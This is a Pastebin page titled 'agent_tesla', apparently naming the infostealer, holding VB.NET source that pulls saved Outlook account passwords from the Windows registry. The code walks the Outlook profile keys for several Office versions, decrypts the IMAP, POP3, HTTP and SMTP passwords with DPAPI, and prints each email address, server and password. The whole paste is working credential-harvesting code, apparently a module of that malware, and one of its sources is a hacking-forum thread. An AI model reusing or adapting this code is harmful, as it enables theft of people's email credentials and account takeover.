agent_tesla

Untitled

Nov 14th, 2017
919
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 'GitHub: https://github.com/0Fdemir/OutlookPasswordRecovery
  2.  
  3. Imports System.Security.Cryptography
  4. Imports System.Text
  5. Imports Microsoft.Win32
  6.  
  7. Module Module1
  8.     Sub Main()
  9.         Dim ot As New List(Of RecoveredApplicationAccount)
  10.         ot = GetOutlookPasswords()
  11.         If ot.Count > 0 Then
  12.             For Each Account As RecoveredApplicationAccount In ot
  13.                 Console.WriteLine("--------------------------------")
  14.                 Console.WriteLine("URL: " & Account.URL)
  15.                 Console.WriteLine("Email: " & Account.UserName)
  16.                 Console.WriteLine("Password: " & Account.Password)
  17.                 Console.WriteLine("Application: " & Account.appName)
  18.                 Console.WriteLine("--------------------------------")
  19.  
  20.             Next
  21.         End If
  22.         Console.ReadKey()
  23.     End Sub
  24.  
  25.     Friend Function GetOutlookPasswords() As List(Of RecoveredApplicationAccount)
  26.         Dim data As New List(Of RecoveredApplicationAccount)()
  27.  
  28.         Dim passValues As String() = {"IMAP Password", "POP3 Password", "HTTP Password", "SMTP Password"} 'Outlook storage password value name depend your client type. It using 4 different name
  29.         Dim EncPass As Byte()
  30.         Dim decPass As String = Nothing
  31.         Dim byteMail As Byte()
  32.         Dim byteSmtp As Byte()
  33.  
  34.         'Outlook change sub key folder name and path in every version. I added 2007, 2010, 2013 and 2016 paths. If you know different version, you can add this array.
  35.         Dim pRegKey As RegistryKey() = {Registry.CurrentUser.OpenSubKey("Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"),
  36.             Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"),
  37.             Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676"),
  38.             Registry.CurrentUser.OpenSubKey("Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676")}
  39.  
  40.         Try
  41.  
  42.             For Each RegKey As RegistryKey In pRegKey
  43.  
  44.                 If RegKey IsNot Nothing Then
  45.  
  46.                     For Each KeyName As String In RegKey.GetSubKeyNames 'We should check sub key names in selected registry key with a loop.
  47.  
  48.                         Using key As RegistryKey = RegKey.OpenSubKey(KeyName)
  49.  
  50.                             Dim enc As New UTF8Encoding()
  51.  
  52.                             'I checking email and passwords. Email and a password value required for recovery. I merged all password value names with "OR" operator.
  53.                             If key.GetValue("Email") IsNot Nothing And (key.GetValue("IMAP Password") IsNot Nothing Or
  54.                             key.GetValue("POP3 Password") IsNot Nothing Or
  55.                             key.GetValue("HTTP Password") IsNot Nothing Or
  56.                             key.GetValue("SMTP Password") IsNot Nothing) Then
  57.  
  58.                                 For Each str As String In passValues
  59.                                     If key.GetValue(str) IsNot Nothing Then
  60.                                         EncPass = DirectCast(key.GetValue(str), Byte()) 'Outlook saved encrypted password as bytes.
  61.                                         decPass = decryptOutlookPassword(EncPass) 'Decrypt password.
  62.                                     End If
  63.                                 Next
  64.  
  65.                                 Dim mailObj As Object = key.GetValue("Email")
  66.                                 Try 'I use a "Try" for get email value.
  67.                                     'Why? Because Outlook saved emails as string on older version but now it using bytes.
  68.                                     'You can use a more practical way.
  69.                                     byteMail = enc.GetBytes(mailObj)
  70.                                 Catch
  71.                                     byteMail = DirectCast(mailObj, Byte())
  72.                                 End Try
  73.  
  74.                                 'SMTP value like mail value, it saving as byte on current version.
  75.                                 Dim smtpObj As Object = key.GetValue("SMTP Server")
  76.                                 If smtpObj IsNot Nothing Then
  77.                                     Try
  78.                                         byteSmtp = key.GetValue("SMTP Server")
  79.                                     Catch ex As Exception
  80.                                         byteSmtp = DirectCast(smtpObj, Byte())
  81.                                     End Try
  82.                                 Else
  83.                                     byteSmtp = enc.GetBytes("Nothing")
  84.                                 End If
  85.  
  86.                                 Dim RBA As New RecoveredApplicationAccount()
  87.                                 RBA.URL = enc.GetString(byteSmtp).Replace(Chr(0), "")
  88.                                 RBA.UserName = enc.GetString(byteMail).ToString().Replace(Convert.ToChar(0), "")
  89.                                 RBA.Password = decPass.Replace(Convert.ToChar(0), "")
  90.                                 RBA.appName = "Outlook"
  91.                                 data.Add(RBA)
  92.                             End If
  93.  
  94.                         End Using
  95.  
  96.                     Next
  97.  
  98.                 End If
  99.  
  100.             Next
  101.  
  102.         Catch ex As Exception
  103.             Console.WriteLine(ex.ToString)
  104.             Return New List(Of RecoveredApplicationAccount)()
  105.         End Try
  106.         Return data
  107.     End Function
  108.     Function decryptOutlookPassword(encryptedData As Byte()) As String
  109.  
  110.         'DPAPI included in Framework as ProtectedData name. You know this function used in too many applications.
  111.         Dim decPassword As String
  112.  
  113.         Dim Data(encryptedData.Length - 2) As Byte
  114.         Buffer.BlockCopy(encryptedData, 1, Data, 0, encryptedData.Length - 1)
  115.  
  116.         decPassword = Encoding.UTF8.GetString(ProtectedData.Unprotect(Data, Nothing, DataProtectionScope.CurrentUser))
  117.         decPassword = decPassword.Replace(Convert.ToChar(0), "")
  118.  
  119.         Return decPassword
  120.  
  121.     End Function
  122.  
  123.     Friend NotInheritable Class RecoveredApplicationAccount 'I find this class from Timsel10 thread: https://hackforums.net/showthread.php?tid=4986481
  124.         Private _appName As String
  125.         Private _username As String
  126.         Private _password As String
  127.         Private _URL As String
  128.  
  129.         Friend Property UserName() As String
  130.             Get
  131.                 Return _username
  132.             End Get
  133.             Set(Value As String)
  134.                 _username = Value
  135.             End Set
  136.         End Property
  137.  
  138.         Friend Property Password() As String
  139.             Get
  140.                 Return _password
  141.             End Get
  142.             Set(Value As String)
  143.                 _password = Value
  144.             End Set
  145.         End Property
  146.  
  147.         Friend Property URL() As String
  148.             Get
  149.                 Return _URL
  150.             End Get
  151.             Set(Value As String)
  152.                 _URL = Value
  153.             End Set
  154.         End Property
  155.  
  156.         Friend Property appName() As String
  157.             Get
  158.                 Return _appName
  159.             End Get
  160.             Set(Value As String)
  161.                 _appName = Value
  162.             End Set
  163.         End Property
  164.  
  165.     End Class
  166. End Module
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×